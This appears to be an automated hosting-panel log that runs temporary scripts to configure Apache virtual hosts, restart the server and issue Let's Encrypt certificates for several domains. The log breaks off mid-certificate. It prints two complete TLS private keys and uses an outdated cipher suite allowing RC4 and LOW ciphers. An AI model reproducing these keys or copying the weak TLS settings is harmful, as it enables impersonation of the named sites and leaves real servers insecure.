DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/gospelstudies_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/gospelstudies_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf= 1'
fi


2026-05-04 06:00:21: 

chmod 755 /tmp/pkp354679; /tmp/pkp354679; rm /tmp/pkp354679

2026-05-04 06:00:21: 




2026-05-04 06:00:21: 

PUT: /tmp/pkp224512

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-04 06:00:21: 

chmod 755 /tmp/pkp224512; /tmp/pkp224512; rm /tmp/pkp224512

2026-05-04 06:00:21: 


.


2026-05-04 06:00:21: Establishing a connection
2026-05-04 06:00:22: 

PUT: /tmp/pkp917952

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-04 06:00:22: 

chmod 755 /tmp/pkp917952; /tmp/pkp917952; rm /tmp/pkp917952

2026-05-04 06:00:22: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-04 06:00:22: 

PUT: /tmp/pkp109266

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/gospelstudies_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-04 06:00:22: 

chmod 755 /tmp/pkp109266; /tmp/pkp109266; rm /tmp/pkp109266

2026-05-04 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf	1432

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-04 06:00:22: 

PUT: /tmp/pkp880741

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-04 06:00:22: 

chmod 755 /tmp/pkp880741; /tmp/pkp880741; rm /tmp/pkp880741

2026-05-04 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt	5381
6d:7a:f8:3d:ce:2c:e4:17:01:8f:03:f2:f3:a7:f3:3c

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBd2lFGnPQAo21oryXCGNPKEMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA0MDUwMTQ4WhcNMjYwODAyMDUwMTQ3WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALx+hWVAapObKWgib0Hes5pMEYEof2k8DK0Hg32YohFaui4Lt4/DNgT1Wzy1
LxPCnrmpn2uJz+tONSm5XLP4RRoQb6pi18mGDi2OOP3LPal3/Ptg/4F5HyUhEYe6
VwHySiOa2SdkzB8NnNpif34NnQh/SOd5sq5uKLBdc00nWWm5Fyv96egIs0ezQf+1
vhSEdELGJl32xJv/x1E0Pr8kpS7YuLtkv5CwkvBsYzDnxA2iyWhLd36DjvlsCkNL
GzCp6fs/pdomXr79iJIPD8geVguDyPprk7veDUDNygsQiJdsLEZlgKVDkCDvNihB
lB1rkH9qSR0gvUBQ8zCmm1PRlSkCAwEAAaOCAjUwggIxMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT2
k3koCfDcTTkxDpD6vNMCTyptxTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWdvc3BlbHN0dWRpZXMubmV0ghV3d3cuZ29z
cGVsc3R1ZGllcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMy5jcmwwggELBgorBgEEAdZ5
AgQCBIH8BIH5APcAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAA
AZ3xkrxKAAAEAwBHMEUCIA/v9eJKjMsHGJ+x+wK1zP++R89bL35j9dMGUU1t0vvF
AiEAmCQJQZ82hYMVS7zm8z8Xh38d2ESiKOPFPoQha5ORvUQAfQAm42RuWGkhI7w0
P0ckNZs3ks0kWojYFdOTM/2ZGKtHIwAAAZ3xkryAAAgAAAUADQdKJgQDAEYwRAIg
dNpH6WUpsh8Gl9GGoxhwPVs341NMpirWLhMNUrccMu0CIDKjIA3w7g6PDxsWy5UO
LQvgGOAfTSnBWV8PIpNxgQ4ZMA0GCSqGSIb3DQEBCwUAA4IBAQBAkMii1/d2snmf
mZyMdbgfKOGOnmGafvozljbosFa0JGkoCCPJVvf/QrjqqbRsr2kS4XSxN2QFRIaq
50ZWk597MDcB0LfB2GzUAQKlOJax3RS8u22DHoETbHEVnQRbg7nyzzYPaCFdvFOn
K72VHu9SDyL3Hxz6jVlbwLR4o+guLwWwEbEM1d4RHtoX1CC/OkmpJG/4hJweyXzG
QROH0c5xD1hBgIqCU433aclbcwKNAIGFZrzy87JJh+R9rxCkC9a2HOoRdD3hlql5
Jtvd8z6C1FFqJWv9G2k0s/JyFoUlGrKj3Mw/yGTYVEUZb8u9IC7qsNO1DXvYmHrM
smWIDcoX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8foVlQGqTmylo
Im9B3rOaTBGBKH9pPAytB4N9mKIRWrouC7ePwzYE9Vs8tS8Twp65qZ9ric/rTjUp
uVyz+EUaEG+qYtfJhg4tjjj9yz2pd/z7YP+BeR8lIRGHulcB8kojmtknZMwfDZza
Yn9+DZ0If0jnebKubiiwXXNNJ1lpuRcr/enoCLNHs0H/tb4UhHRCxiZd9sSb/8dR
ND6/JKUu2Li7ZL+QsJLwbGMw58QNosloS3d+g475bApDSxswqen7P6XaJl6+/YiS
Dw/IHlYLg8j6a5O73g1AzcoLEIiXbCxGZYClQ5Ag7zYoQZQda5B/akkdIL1AUPMw
pptT0ZUpAgMBAAECggEAD9KKBYgM+jN33BUp5CxaxKy2enJJEa8X/E1JaRlPH2hP
gQ58O93d0rg6zqOB3mWDl9+ocWk50g14UnaMFNJWEJxJF1MhPHobhhDucUVmeWuI
SZyojfh6GA6Iz20hoRjyxr7YlCE2rjOhE0bZ312qrRwsJTwWtuQp17Ycd+FB9OkO
mDZXfn89O5+Pi8rc0YoPZUvwfF1O1+AVrLiOdSIuY1uFjzLFBXN37xF3gaFS3ZWm
TDGlcLDnlun+oyr/ZJXL5FLV37qq/0FfizK0xoaQu12li4/QruvBUPRODZ0YO1xg
zZExh3O8uoqcXLhnbTwNJtQu+7+NCm/w7efuFC7PIQKBgQD6xGYZFBiWMmOm5fZ9
8s5H0iMOxQBWy8zhEnvyxGFbcz9yDGMWU47h6wXDQ9TgAqcKriFE2mgsrjSK/Pdy
d+aOOo0XkxjS/qJ7V50KjB1R03iicFeh9HN6ccSxnbTJzmWs20sfAiM7i21EW/z1
G3V1yHHb/Wam73vNplFRXZQksQKBgQDAbXWaXcZoXBybfcct9uHEpo4vU+oZY/ZJ
DymCAmNa+OCzCp5MhPhlqvQNaA/O3LcihFObjMPrlIRV4tE7CQDyyagQiYyfQ8O6
xt1I2bTZpIic2zHX5QPuBNvu1yYHJijqDjsyFVtl5MaNlM8x9Vb7zzwA7vrimrsX
47W+qoV1+QKBgQC+OBa+dUkFPenro0ssVO92+YbQYE2WiXe7T1soVyEGztBUweKz
/+RFqRKxARZMapatelMQOKCHLAn9WFCXyy3fu7hlJpbRDojQCTC93HUtKb27cn53
AshKHFy44slNv7vOuHYual+xflz/WsvyXcbm9oqv9nNUtBr0b3IFx3dlsQKBgBKE
tjOj4Ks8ahhgs2FuB+4n5TkSx02oPBRt3B3B4xPnLaCtXeyZQ1ptaE09/X936Dvv
JiirFFPAmDe3u1EGHcw/sefdhOXy3IxGBRe0s93aIreNtK9FP+qRFyVWGTfI6VkV
A4dfXMtih+UqNAJnzPYwzGJ+nTBfma/D30K5IFzpAoGAQpEdsvPNS2ghjBrnUJsu
sEpdjmhofwr6jmJXuNLaHQgi6opnx2GwuDiLSjUm+LJ3sla4yJ+W3YDeX3Vr7lX+
TnGFbyHqTi8CG9cfXzBY7QjcuPiynrtTebgoPwjbqzzAYA8bTEdyYgdnLLZl9kR7
GIsUhsg4n039EeJUsipa02c=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-04 06:00:23: Establishing a connection
2026-05-04 06:00:23: Establishing a connection
2026-05-04 06:00:23: 

PUT: /tmp/pkp170415

#!/bin/bash
if [ -d "/var/www/aletheiacollege_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-04 06:00:23: 

chmod 755 /tmp/pkp170415; /tmp/pkp170415; rm /tmp/pkp170415

2026-05-04 06:00:23: 


1


2026-05-04 06:00:24: Establishing a connection
2026-05-04 06:00:24: 

PUT: /tmp/pkp565776

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cat > BfoCN58ObB0BDCoXbFYF6o7xPp9Kv0MQ4r4FInp5XxM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
BfoCN58ObB0BDCoXbFYF6o7xPp9Kv0MQ4r4FInp5XxM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 BfoCN58ObB0BDCoXbFYF6o7xPp9Kv0MQ4r4FInp5XxM
cat > lbr3eY21Q3DXXaHFtvbC6Mmuc8wFSr7qigKP3jmZ6sM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
lbr3eY21Q3DXXaHFtvbC6Mmuc8wFSr7qigKP3jmZ6sM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 lbr3eY21Q3DXXaHFtvbC6Mmuc8wFSr7qigKP3jmZ6sM


2026-05-04 06:00:24: 

chmod 755 /tmp/pkp565776; /tmp/pkp565776; rm /tmp/pkp565776

2026-05-04 06:00:24: 




2026-05-04 06:00:33: Establishing a connection
2026-05-04 06:00:33: 

PUT: /tmp/pkp337913

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
rm BfoCN58ObB0BDCoXbFYF6o7xPp9Kv0MQ4r4FInp5XxM
rm lbr3eY21Q3DXXaHFtvbC6Mmuc8wFSr7qigKP3jmZ6sM


2026-05-04 06:00:33: 

chmod 755 /tmp/pkp337913; /tmp/pkp337913; rm /tmp/pkp337913

2026-05-04 06:00:33: 




2026-05-04 06:00:33: Establishing a connection
2026-05-04 06:00:34: 

PUT: /tmp/pkp312158

#!/bin/bash
temp_file=$(mktemp)
TARGET=5eb375246e856b10900412efba9b1585.crt

cat > $temp_file <<'endmsg'
e2:66:7b:71:6e:a1:b0:eb:62:56:c7:c9:d9:29:11:70

-----BEGIN CERTIFICATE-----
MIIFGzCCBAOgAwIBAgISBf34hg4P5/83qmROqtnA7JllMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA0MDUwMjAyWhcNMjYwODAyMDUwMjAxWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAre1KAxiwSc/jxzAlroefpl+GRlME7428sMfU43kolQD6e20EDjEnKpUF
XPNfZGzHz91PZ5I8f4DSM01LE4XvpjRUDfRwnIN0pE+2cvgVn+dOcD5DEs/Pe+QU
Q0B8uuSkk5a+Qze7TGJFVIaBathnxo22vf588HTx7xXsKYfwj0XIkTLwdGJzW/1b
sboYwHKa2MHhT7gt061vtRygKp6qnxFkA3cZWbAZOl1cIV5epN27tcvca0DxDTUJ
zi9UzaPbKaA+Jfbb0JcI7aJQ5WaNpFTO2BTPmqDk8e2ArQEew8657Bofp5oMGMbY
nAlGVPhMjkkekRUtU2NtO55L8Iw9CQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FN2a0nTo2K5vHiydvpvMqMtc4qBjMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITYWxldGhlaWFjb2xsZWdlLm5ldIIXd3d3
LmFsZXRoZWlhY29sbGVnZS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0f
BCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDIuY3JsMIIBDQYK
KwYBBAHWeQIEAgSB/gSB+wD5AHcAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYM
L+eFhzoAAAGd8ZLzTwAABAMASDBGAiEAtj03PqW54CBJysY9A5b5r0epFsqzXV91
ma9xQG3jynICIQCIzw/hHM/JnAXO8UrrTnoLCqrmVqzrfmvddr2NgUe2AgB+AGz+
UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnfGS9H8ACAAABQAJ8Rwo
BAMARzBFAiEAywzpDDA7JexAm4Xd0hZpKvs5wl6FKiQZcemITEti2LgCIBfw7w/M
fPNQPc3/0eM0s0vqyhwdx7XjyKC8Sp+BupyhMA0GCSqGSIb3DQEBCwUAA4IBAQBm
G2TWvfYiN3teQRlKBPa8LmgLOakdK1b+iTPiJ7rAhbRIr0QGJouLsbRbs7zES6rs
kSSG2Sqf8Q1d/fmdp4GDqGj53z1xAPsoDCT+J/n9eojuVWcCMI85gUrw0PaMpfqX
7GckG7vPlGYEaikq1pAAOnf/fd5UxjyMrhfKYu/5C/g9oI5M3QYu9bW/EVdecZwW
7T2E9soZvljB3fhIkYxbW0AETGYVRESgqdbdcjKco2bDIPJkdyCSxICG3E6YZfBT
Z88LUEXI6E4Eu4gPVFuWnkn4m3+WIfxhvFV61ki8ltW/WhOJ4OP5UHJ7TqPjeAHH
i8+RnP+IBHPEv7E4Ot8i
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCt7UoDGLBJz+PH
MCWuh5+mX4ZGUwTvjbywx9TjeSiVAPp7bQQOMScqlQVc819kbMfP3U9nkjx/gNIz
TUsThe+mNFQN9HCcg3SkT7Zy+BWf505wPkMSz8975BRDQHy65KSTlr5DN7tMYkVU
hoFq2GfGjba9/nzwdPHvFewph/CPRciRMvB0YnNb/VuxuhjAcprYweFPuC3TrW+1
HKAqnqqfEWQDdxlZsBk6XVwhXl6k3bu1y9xrQPENNQnOL1TNo9spoD4l9tvQlwjt
olDlZo2kVM7YFM+aoOTx7YCtAR7DzrnsGh+nmgwYxticCUZU+EyOSR6RFS1TY207
nkvwjD0JAgMBAAECgf94rUvNGjQ3AqdobV+32SJMrbrc0H18OTvS7NQpgMdHm4Yw
XVOTBUfHo940wChP5ao977BIjI6taRRvxBFzWlsNVwF7LT91WUB1QVm2K6vVZwhl
mM2xH782lun4P6ZLhpkqTk11FhY+yXCRVUI2gDCA85L4ALtvm7TBztQtfMTMotaY
jtxP6tqCSY9KZQ6dF/xk/Mw647AZVVtDKKFcMRgMh5R86W/PEjsLzj6fzITNg3Q0
7iU30jTxOtepnh6baEGS0Lj0Gr3sDAWWMjLylWbt7pmSduChJByikIfRX9eTR0k1
Ikciz5s9vdofSlSC8SxVHhsGHkkiPjZfHxFqyUECgYEA9M/Whf8stAOYOw43PA3f
HrnDuXJP8yMjycOM64GvH1XTVhCagDcyF3q9GuJv08lTL2XClrbi3fuIrL0yPaHW
CgsULZWm7OL9L80Y0JgsfyWBwXYUdCX+2plo0acpjVYPgQYvNVvbCRMo6eSBqk3d
kIHreqmdIDPRkpeWdyZUqEECgYEAteAjAlXSmoUM7s27pnV3atfetjvmGHoZp/eq
Kbu/gkqvi9oDFGcepeFxWxvrRhJxIvcGyHafZhnfHfywTFps6RuPyB1DOJK/OJi/
IsY+ardFlqeg8qaCWH7RMOdaT2JnU5TIhtJfuIr4an/WOcTGhCo2dK4Jh85HT8Gi
q9bboskCgYEA8tjVcjjuLGhAc5yneCA+i+k02domqwbZsoUUXm5XvNrTeNWhnbyj
KR1tR6UFz24v4Z2tSPqE1DV3n/tSQkcu3umci5efbe/BvtBSZGIACeS38aRjp9Al
Hs39Z7POCVEssg3jeKf1AOyLsnElmz4Aox/t6tEkd9RPeX58GRfh9MECgYB0T0U0
Phwz0viFUy448pAO1MRJeB7a8mKr5xd8HuQG96ox3pbvmk6gOH8ci8s3AZ42hRFi
a3HegpcL/0fjXESgAo89o3EUocwF7rD1FSBfcJrhEIw+ATwESf2Pr7QyZjS7378p
cSnjw4O/38bpJKzrYm92yMGxhrpWB/f2uq20+QKBgQDUichrnHdYcdenDCBtKp34
jX/82EgQ53Li33wuHiYQjy6w/SP3EqyHEtDUBZiApUimc+ZibwFOoZVg5+dOIqvb
15cex26R8EyYFSFhMhuPjdvx8UvytwW1Socw48yNMjDUKOHiksb+d7EgWyP2sAq7
lC5Ftfd/B2dYyQTNZauTeg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
